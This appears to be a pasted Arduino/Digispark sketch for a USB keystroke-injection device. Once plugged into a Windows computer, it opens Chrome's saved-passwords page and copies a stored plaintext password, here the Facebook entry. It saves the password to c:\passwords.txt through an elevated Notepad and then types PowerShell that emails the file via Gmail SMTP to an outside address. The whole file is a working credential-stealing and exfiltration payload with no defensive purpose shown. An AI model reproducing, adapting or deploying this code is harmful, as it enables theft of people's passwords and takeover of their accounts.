· 8 years ago · Mar 15, 2018, 10:54 AM
1#include <avr/pgmspace.h>
2#include "DigiKeyboard.h"
3const char line1[] PROGMEM = "chrome";
4const char line2[] PROGMEM = "chrome>&&settings&passwords";
5const char line3[] PROGMEM = "facebook";
6const char line4[] PROGMEM = "powershell start/process notepad.exe /Verb runAs";
7const char line5[] PROGMEM = "s";
8const char line6[] PROGMEM = "passwords.txt";
9const char line7[] PROGMEM = "c";
10const char line9[] PROGMEM = "powershell";
11const char line10[] PROGMEM = "$SMTPServer ) -smtp.gmail.com-";
12const char line11[] PROGMEM = "$SMTPInfo ) New/Object Net.Mail.SmtpClient*$SmtpServer, 587(";
13const char line12[] PROGMEM = "$SMTPInfo.EnableSsl ) $true";
14const char line13[] PROGMEM = "$SMTPInfo.Credentials ) New/Object System.Net.NetworkCredential*-email";
15const char line14[] PROGMEM = "gmail.com-, -password-(<";
16const char line15[] PROGMEM = "$ReportEmail ) New/Object System.Net.Mail.MailMessage";
17const char line16[] PROGMEM = "$ReportEmail.From ) -email";
18const char line17[] PROGMEM = "gmail.com-";
19const char line18[] PROGMEM = "$ReportEmail.To.Add*-email";
20const char line19[] PROGMEM = "gmail.com-(";
21const char line20[] PROGMEM = "$ReportEmail.Subject ) -Ducky chrome passwords-";
22const char line21[] PROGMEM = "$ReportEmail.Body ) -Attached is your list of passwords.-";
23const char line22[] PROGMEM = "$ReportEmail.Attachments.Add*-C>";
24const char line23[] PROGMEM = "passwords.txt-(";
25const char line24[] PROGMEM = "$SMTPInfo.Send*$ReportEmail(";
26const char line25[] PROGMEM = "exit";
27
28char buffer[256];
29
30#define GetPsz(x) (strncpy_P(buffer, (char*)x, 256))
31#define KEY_UP_ARROW 0x52
32#define KEY_DOWN_ARROW 0x51
33#define KEY_LEFT_ARROW 0x50
34#define KEY_RIGHT_ARROW 0x4F
35#define KEY_LEFT_GUI 0xE3
36#define KEY_ESC 0x29
37#define KEY_TAB 0x2B
38#define KEY_AT 0x33
39
40void digiBegin() {
41 DigiKeyboard.sendKeyStroke(0,0);
42 DigiKeyboard.delay(50);
43}
44
45void digiEnd() {
46 const int led=1;
47 pinMode(led, OUTPUT);
48 while (1) {
49 digitalWrite(led, !digitalRead(led));
50 DigiKeyboard.delay(1000);
51 }
52}
53
54void printText(char *txt) {
55 DigiKeyboard.print(txt);
56 DigiKeyboard.update();
57}
58
59void setup() {
60 digiBegin();
61
62 DigiKeyboard.delay(2000);
63
64 // -------------open chrome
65 DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
66
67 DigiKeyboard.delay(1000);
68
69 // chrome
70 printText(GetPsz(line1));
71
72 DigiKeyboard.delay(1000);
73
74 DigiKeyboard.sendKeyStroke(KEY_ENTER);
75
76 DigiKeyboard.delay(5500);
77
78 // -------------copy plaintext password
79 // chrome://settings/passwords
80 printText(GetPsz(line2));
81
82 DigiKeyboard.sendKeyStroke(KEY_ENTER);
83
84 DigiKeyboard.delay(3000);
85
86 DigiKeyboard.sendKeyStroke(KEY_TAB);
87
88 DigiKeyboard.sendKeyStroke(KEY_TAB);
89
90 DigiKeyboard.sendKeyStroke(KEY_TAB);
91
92 // facebook
93 printText(GetPsz(line3));
94
95 DigiKeyboard.delay(500);
96
97 DigiKeyboard.sendKeyStroke(KEY_TAB);
98
99 DigiKeyboard.delay(500);
100
101 DigiKeyboard.sendKeyStroke(KEY_TAB);
102
103 DigiKeyboard.delay(500);
104
105 DigiKeyboard.sendKeyStroke(KEY_TAB);
106
107 DigiKeyboard.delay(500);
108
109 DigiKeyboard.sendKeyStroke(KEY_TAB);
110
111 DigiKeyboard.delay(500);
112
113 DigiKeyboard.sendKeyStroke(KEY_TAB);
114
115 DigiKeyboard.delay(500);
116
117 DigiKeyboard.sendKeyStroke(KEY_RIGHT_ARROW);
118
119 DigiKeyboard.delay(500);
120
121 DigiKeyboard.sendKeyStroke(KEY_ENTER);
122
123 DigiKeyboard.delay(500);
124
125 DigiKeyboard.sendKeyStroke(KEY_LEFT_ARROW);
126
127 DigiKeyboard.delay(500);
128
129 DigiKeyboard.sendKeyStroke(KEY_TAB);
130
131 DigiKeyboard.delay(500);
132
133 DigiKeyboard.sendKeyStroke(KEY_C,MOD_CONTROL_LEFT);
134
135 DigiKeyboard.delay(500);
136
137 DigiKeyboard.sendKeyStroke(KEY_F4,MOD_ALT_LEFT);
138
139 DigiKeyboard.delay(500);
140
141 // -------------save file to music folder as passwords.txt
142 DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
143
144 DigiKeyboard.delay(500);
145
146 // powershell start-process notepad.exe -Verb runAs
147 printText(GetPsz(line4));
148
149 DigiKeyboard.delay(500);
150
151 DigiKeyboard.sendKeyStroke(KEY_ENTER);
152
153 DigiKeyboard.delay(2000);
154
155 DigiKeyboard.sendKeyStroke(KEY_Y,MOD_ALT_LEFT);
156
157 DigiKeyboard.delay(1000);
158
159 DigiKeyboard.sendKeyStroke(KEY_V,MOD_CONTROL_LEFT);
160
161 DigiKeyboard.delay(500);
162
163 DigiKeyboard.sendKeyStroke(KEY_F,MOD_ALT_LEFT);
164
165 DigiKeyboard.delay(500);
166
167 // s
168 printText(GetPsz(line5));
169
170 DigiKeyboard.delay(500);
171
172 // passwords.txt
173 printText(GetPsz(line6));
174
175 DigiKeyboard.delay(500);
176
177 DigiKeyboard.sendKeyStroke(KEY_TAB);
178
179 DigiKeyboard.sendKeyStroke(KEY_TAB);
180
181 DigiKeyboard.sendKeyStroke(KEY_TAB);
182
183 DigiKeyboard.sendKeyStroke(KEY_TAB);
184
185 DigiKeyboard.sendKeyStroke(KEY_TAB);
186
187 DigiKeyboard.sendKeyStroke(KEY_TAB);
188
189 DigiKeyboard.sendKeyStroke(KEY_TAB);
190
191 DigiKeyboard.sendKeyStroke(KEY_TAB);
192
193 DigiKeyboard.sendKeyStroke(KEY_TAB);
194
195 // c
196 printText(GetPsz(line7));
197
198 DigiKeyboard.delay(1000);
199
200 DigiKeyboard.sendKeyStroke(KEY_DOWN_ARROW);
201
202 DigiKeyboard.delay(500);
203
204 DigiKeyboard.sendKeyStroke(KEY_ENTER);
205
206 DigiKeyboard.delay(500);
207
208 DigiKeyboard.sendKeyStroke(KEY_S,MOD_ALT_LEFT);
209
210 DigiKeyboard.delay(1000);
211
212 DigiKeyboard.sendKeyStroke(KEY_F4,MOD_ALT_LEFT);
213
214 DigiKeyboard.delay(500);
215
216 // -------------email log via gmail
217 DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
218
219 DigiKeyboard.delay(500);
220
221 // powershell
222 printText(GetPsz(line9));
223
224 DigiKeyboard.sendKeyStroke(KEY_ENTER);
225
226 DigiKeyboard.delay(1000);
227
228 // $SMTPServer = 'smtp.gmail.com'
229 printText(GetPsz(line10));
230
231 DigiKeyboard.sendKeyStroke(KEY_ENTER);
232
233 // $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
234 printText(GetPsz(line11));
235
236 DigiKeyboard.sendKeyStroke(KEY_ENTER);
237
238 // $SMTPInfo.EnableSsl = $true
239 printText(GetPsz(line12));
240
241 DigiKeyboard.sendKeyStroke(KEY_ENTER);
242
243 // $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('youremail@gmail.com', 'password');
244 printText(GetPsz(line13));
245 DigiKeyboard.sendKeyStroke(KEY_AT, MOD_ALT_RIGHT);
246 printText(GetPsz(line14));
247 DigiKeyboard.sendKeyStroke(KEY_ENTER);
248
249 // $ReportEmail = New-Object System.Net.Mail.MailMessage
250 printText(GetPsz(line15));
251
252 DigiKeyboard.sendKeyStroke(KEY_ENTER);
253
254 // $ReportEmail.From = 'youremail@gmail.com'
255 printText(GetPsz(line16));
256 DigiKeyboard.sendKeyStroke(KEY_AT, MOD_ALT_RIGHT);
257 printText(GetPsz(line17));
258
259 DigiKeyboard.sendKeyStroke(KEY_ENTER);
260
261 // $ReportEmail.To.Add('toemail@gmail.com')
262 printText(GetPsz(line18));
263 DigiKeyboard.sendKeyStroke(KEY_AT, MOD_ALT_RIGHT);
264 printText(GetPsz(line19));
265
266 DigiKeyboard.sendKeyStroke(KEY_ENTER);
267
268 // $ReportEmail.Subject = 'Ducky chrome passwords'
269 printText(GetPsz(line20));
270
271 DigiKeyboard.sendKeyStroke(KEY_ENTER);
272
273 // $ReportEmail.Body = 'Attached is your list of passwords.'
274 printText(GetPsz(line21));
275
276 DigiKeyboard.sendKeyStroke(KEY_ENTER);
277
278 // $ReportEmail.Attachments.Add('c:\\passwords.txt')
279 printText(GetPsz(line22));
280 DigiKeyboard.print((char)38);
281 DigiKeyboard.print((char)38);
282 printText(GetPsz(line23));
283
284 DigiKeyboard.sendKeyStroke(KEY_ENTER);
285
286 // $SMTPInfo.Send($ReportEmail)
287 printText(GetPsz(line24));
288
289 DigiKeyboard.sendKeyStroke(KEY_ENTER);
290
291 DigiKeyboard.delay(10000);
292
293 // exit
294 printText(GetPsz(line25));
295
296 DigiKeyboard.sendKeyStroke(KEY_ENTER);
297
298 DigiKeyboard.sendKeyStroke(KEY_F4, MOD_ALT_LEFT);
299 digiEnd();
300
301
302}
303/* Unused endless loop */
304void loop() {}